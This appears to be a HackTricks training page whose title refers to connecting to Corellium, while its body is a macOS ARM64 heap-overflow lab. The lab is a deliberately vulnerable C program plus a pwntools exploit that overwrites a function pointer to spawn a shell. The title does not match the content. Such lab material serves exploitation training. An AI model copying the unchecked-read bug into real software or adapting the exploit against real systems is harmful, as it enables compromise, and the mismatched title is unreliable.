iOS How to Connect to Corellium

Reading time: 6 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Vuln Code

c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
static void safe_cb(void) {
    puts("[*] safe_cb() called — nothing interesting here.");
}

__attribute__((noinline))
static void win(void) {
    puts("[+] win() reached — spawning shell...");
    fflush(stdout);
    system("/bin/sh");
    exit(0);
}

typedef void (*cb_t)(void);

typedef struct {
    cb_t cb;          // <--- Your target: overwrite this with win()
    char tag[16];     // Cosmetic (helps make the chunk non-tiny)
} hook_t;

static void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

int main(void) {
    // Make I/O deterministic
    setvbuf(stdout, NULL, _IONBF, 0);

    // Print address leak so exploit doesn't guess ASLR
    printf("[*] LEAK win() @ %p\n", (void*)&win);

    // 1) Allocate the overflow buffer
    size_t buf_sz = 128;
    char *buf = (char*)malloc(buf_sz);
    if (!buf) fatal("malloc buf");
    memset(buf, 'A', buf_sz);

    // 2) Allocate the hook object (likely adjacent in same magazine/size class)
    hook_t *h = (hook_t*)malloc(sizeof(hook_t));
    if (!h) fatal("malloc hook");
    h->cb = safe_cb;
    memcpy(h->tag, "HOOK-OBJ", 8);

    // A tiny bit of noise to look realistic (and to consume small leftover holes)
    void *spacers[16];
    for (int i = 0; i < 16; i++) {
        spacers[i] = malloc(64);
        if (spacers[i]) memset(spacers[i], 0xCC, 64);
    }

    puts("[*] You control a write into the 128B buffer (no bounds check).");
    puts("[*] Enter payload length (decimal), then the raw payload bytes.");

    // 3) Read attacker-chosen length and then read that many bytes → overflow
    char line[64];
    if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
    unsigned long n = strtoul(line, NULL, 10);

    // BUG: no clamp to 128
    ssize_t got = read(STDIN_FILENO, buf, n);
    if (got < 0) fatal("read");
    printf("[*] Wrote %zd bytes into 128B buffer.\n", got);

    // 4) Trigger: call the hook's callback
    puts("[*] Calling h->cb() ...");
    h->cb();

    puts("[*] Done.");
    return 0;
}

Compile it with:

bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c

Exploit

warning

This exploit is setting the env variable MallocNanoZone=0 to disable the NanoZone. This is needed to get adjacent allocations when calling mallocwith small sizes. Without this different mallocs will be allocated in different zones and won't be adjacent and therefore the overflow won't work as expected.

python
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
# 
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform

# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
    context.clear(arch='aarch64')
else:
    context.clear(arch='amd64')

BIN = './heap_groom'

def parse_leak(line):
    m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
    if not m:
        log.failure("Couldn't parse leak")
        sys.exit(1)
    return int(m.group(1), 16)

def build_payload(win_addr, extra_pad=0):
    # We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
    padding = b'A' * 128
    if extra_pad:
        padding += b'B' * extra_pad
    # Add the win address to overwrite the function pointer
    payload = padding + p64(win_addr)
    return payload

def main():
    # On macOS, we need to disable the Nano zone for adjacent allocations
    import os
    env = os.environ.copy()
    env['MallocNanoZone'] = '0'
    
    # The correct padding with MallocNanoZone=0 is 432 bytes
    # This makes the total distance 560 bytes (128 buffer + 432 padding)
    # Try the known working value first, then alternatives in case of heap variation
    candidates = [
        432,    # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
        424,    # Try slightly less in case of alignment differences
        440,    # Try slightly more
        416,    # 16 bytes less
        448,    # 16 bytes more
        0,      # Direct adjacency (unlikely but worth trying)
    ]
    
    log.info("Starting heap overflow exploit for macOS...")
    
    for extra in candidates:
        log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
        p = process(BIN, env=env)
        
        # Read leak line
        leak_line = p.recvline()
        win_addr = parse_leak(leak_line)
        log.success(f"win() @ {hex(win_addr)}")
        
        # Skip prompt lines
        p.recvuntil(b"Enter payload length")
        p.recvline()
        
        # Build and send payload
        payload = build_payload(win_addr, extra_pad=extra)
        total_len = len(payload)
        
        log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
        
        # Send length and payload
        p.sendline(str(total_len).encode())
        p.send(payload)
        
        # Check if we overwrote the function pointer successfully
        try:
            output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
            p.recvline(timeout=0.5)  # Skip the "..." part
            
            # Check if we hit win()
            response = p.recvline(timeout=0.5)
            if b"win() reached" in response:
                log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
                log.success("Shell spawned, entering interactive mode...")
                p.interactive()
                return
            elif b"safe_cb() called" in response:
                log.info(f"Failed with extra_pad={extra}, safe_cb was called")
            else:
                log.info(f"Failed with extra_pad={extra}, unexpected response")
        except:
            log.info(f"Failed with extra_pad={extra}, likely crashed")
        
        p.close()
    
    log.failure("All padding attempts failed. The heap layout might be different.")
    log.info("Try running the exploit multiple times as heap layout can be probabilistic.")

if __name__ == '__main__':
    main()

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks